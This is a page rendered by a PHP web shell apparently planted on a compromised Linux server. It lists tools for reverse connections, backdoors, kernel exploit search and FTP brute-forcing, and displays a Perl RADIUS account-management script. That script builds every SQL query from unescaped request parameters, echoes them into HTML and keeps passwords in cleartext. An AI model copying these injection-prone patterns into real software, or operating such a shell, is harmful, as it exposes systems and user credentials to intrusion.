|
System | : | Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686 |
Software | : | Apache. PHP/5.3.6-13ubuntu3.10 |
ID | : | uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
|
|
Safe Mode | : | OFF |
Open_Basedir | : | OFF |
Freespace | : | 25.83 GB of 70.42 GB (36.68%) |
|
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON |
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
|
[ System Info ]
[ Processes ]
[ SQL Manager ]
[ Eval ]
[ Encoder ]
[ Mailer ]
[ Back Connection ]
[ Backdoor Server ]
[ Kernel Exploit Search ]
[ MD5 Decrypter ]
[ Reverse IP ]
[ Kill Shell ]
[ FTP Brute-Force ]
|
|
/
http/
cgi-bin/
radius/
- drwxrwxrwx
|
Viewing file: index.cgi (6.86 KB) -rwxr-xr-xSelect action/file-type:  ( +) |  ( +) |  ( +) | Code ( +) | Session ( +) |  ( +) | SDB ( +) |  ( +) |  ( +) |  ( +) |  ( +) |  ( +) |
#!/usr/bin/perl
require "config.cgi";
#$cellheadbg = "#454545"; #$cellcolor = "#606060"; #$headfont = "#00eeee"; #$table = "#505050"; #$actcolor = "#ccbb00"; #$fontcolor = "#dddddd"; #$menucolor = "#ffffff";
$act = param("act"); $user = param("user"); $menu = "";
$raduname = param("raduname"); $radgrp = param("radgrp"); $radpwd = param("radpwd"); $radunamee = param("radunamee"); $radgrpe = param("radgrpe"); $radpwde = param("radpwde"); $radunameo = param("radunameo"); $authl = param("authl"); $authp = param("authp");
$menu = "accounts";
require "top.cgi";
if ($act eq "del") { $sth = $dbh->prepare("DELETE FROM radcheck WHERE username='$user'"); $sth->execute(); $sth = $dbh->prepare("SELECT groupname FROM radusergroup WHERE username='$user'"); $sth->execute(); my ($group) = $sth->fetchrow_array(); if ($group ne "") { $sth = $dbh->prepare("DELETE FROM radusergroup WHERE username='$user'"); $sth->execute(); } }
if ($radunamee ne "") { $sth = $dbh->prepare("SELECT username FROM radcheck WHERE username='$radunamee'"); $sth->execute(); my ($cuser) = $sth->fetchrow_array(); if ($radunamee eq $cuser and $radunamee ne $radunameo) { print "<center><table cellspacing=0 border=0 cellpadding=0 width=$userwidth bgcolor=$cellheadbg><tr><td><center><b><font color=$errmsg>Ошибка, пользователь $cuser существует</font></b></td></tr></table>"; } else { $sth = $dbh->prepare("UPDATE radcheck SET username='$radunamee',value='$radpwde' WHERE username='$radunameo'"); $sth->execute(); $sth = $dbh->prepare("SELECT groupname FROM radusergroup WHERE username='$radunameo'"); $sth->execute(); my ($group) = $sth->fetchrow_array();
if ($radunameo ne $radunamee and $group eq $radgrpe) { $sth = $dbh->prepare("UPDATE radusergroup SET username='$radunamee' WHERE username='$radunameo'"); $sth->execute(); } if ($group eq "" and $radgrpe ne "") { $sth = $dbh->prepare("INSERT INTO radusergroup (username,groupname,priority) VALUES ('$radunamee','$radgrpe','1')"); $sth->execute(); } if ($group ne "" and $radgrpe ne "" and $group ne $radgrpe) { $sth = $dbh->prepare("DELETE FROM radusergroup WHERE username='$radunameo' AND groupname='$group'"); $sth->execute(); $sth = $dbh->prepare("INSERT INTO radusergroup (username,groupname,priority) VALUES ('$radunamee','$radgrpe','1')"); $sth->execute(); }
if ($group ne "" and $radgrpe eq "") { $sth = $dbh->prepare("DELETE FROM radusergroup where username='$radunameo'"); $sth->execute(); } } }
if ($raduname ne "") { $sth = $dbh->prepare("SELECT username FROM radcheck WHERE username='$raduname'"); $sth->execute(); my ($cuser) = $sth->fetchrow_array(); if ($raduname eq $cuser) { print "<center><table cellspacing=0 border=0 cellpadding=0 width=$userwidth bgcolor=$cellheadbg><tr><td><center><b><font color=$errmsg>Ошибка, пользователь $cuser существует</font></b></td></tr></table>"; } else { $sth = $dbh->prepare("INSERT INTO radcheck (username,attribute,op,value) VALUES ('$raduname','Cleartext-Password',':=','$radpwd')"); $sth->execute(); if ($radgrp ne "") { $sth = $dbh->prepare("INSERT INTO radusergroup (username,groupname,priority) VALUES ('$raduname','$radgrp','1')"); $sth->execute(); } } }
print " <center> <font color=$fontcolor face=\"$fface\"> <table width=$userwidth border=0 bgcolor=$table cellspacing=2 cellpadding=6><tr> <td bgcolor=$cellheadbg valign=center><font color=$headfont><br><b>Имя пользователя<br> </b></font></td> <td bgcolor=$cellheadbg valign=center><font color=$headfont><b><center>Пароль</b></font></td> <td bgcolor=$cellheadbg valign=center><font color=$headfont><b><center>Группа</b></font></td> <td bgcolor=$cellheadbg valign=center><font color=$headfont><b><center>Действие</b></font></td>
</tr>";
$sth = $dbh->prepare("SELECT username,value FROM radcheck"); $sth->execute();
while (my ($username, $pwd) = $sth->fetchrow_array()) { $sth1 = $dbh->prepare("SELECT groupname FROM radusergroup WHERE username='$username'"); $sth1->execute(); my ($group) = $sth1->fetchrow_array();
if ($act eq "edit" and $user eq $username) { print "<tr><form name=\"edituser\" action=\"index.cgi\" method=\"POST\"><input type=\"hidden\" value=\"$username\" name=\"radunameo\"> <td bgcolor=$cellcolor><font color=$fontcolor><input type=\"text\" size=\"10\" value=\"$username\" name=\"radunamee\"></td> <td bgcolor=$cellcolor><font color=$fontcolor><center><input type=\"text\" size=\"10\" value=\"$pwd\" name=\"radpwde\"></center></td> <td bgcolor=$cellcolor><font color=$fontcolor><center><select name=\"radgrpe\"> <option></option>;"; $sth1 = $dbh->prepare("SELECT groupname FROM radgroupcheck"); $sth1->execute(); while (my ($grp) = $sth1->fetchrow_array()) { if ($grp eq $group) {$selected="selected";} else {$selected=""} print "<option value=$grp $selected>$grp</option>"; } print "</td></select></center><td bgcolor=$cellcolor><font color=$fontcolor><center><input type=\"submit\" value=\"Изменить\"></form> <a href=\"index.cgi\">[Отмена]</a></center></td>"; } else { print "<tr> <td bgcolor=$cellcolor><font color=$fontcolor><a href=log.cgi?user=$username>$username</a></font></td> <td bgcolor=$cellcolor><font color=$fontcolor><center><acronym title=\"$pwd\">************</acronym></font></td> <td bgcolor=$cellcolor><font color=$fontcolor><center>$group</font></td>"; if ($act eq "cdel" and $user eq $username) { print "<td bgcolor=$cellcolor><font color=$actcolor><center>Удалить? <a href=\"?act=del&user=$username\">[ Да ]</a>  <a href=\"index.cgi\">[ Нет ]</a></font></td></tr>"; } else { print "<td bgcolor=$cellcolor><font color=$actcolor><center><a href=\"?act=edit&user=$username\">[Изменить]</a>  <a href=\"?act=cdel&user=$username\">[Удалить]</a></font></td></tr>"; } }
}
if ($act ne "edit") { print "<tr><form name=\"adduser\" action=\"index.cgi\" method=\"POST\"> <td bgcolor=$cellcolor><font color=$fontcolor><input type=\"text\" size=\"10\" name=\"raduname\"></td> <td bgcolor=$cellcolor><font color=$fontcolor><center><input type=\"text\" size=\"10\" name=\"radpwd\"></center></td> <td bgcolor=$cellcolor><font color=$fontcolor><center><select name=\"radgrp\"> <option></option>;"; $sth = $dbh->prepare("SELECT groupname FROM radgroupcheck"); $sth->execute(); while (my ($grp) = $sth->fetchrow_array()) { print "<option value=$grp>$grp</option>"; } print "</td></select></center><td bgcolor=$cellcolor><font color=$fontcolor><center><input type=\"submit\" value=\"Добавить\"></center></td></form>";} print "</table>";
|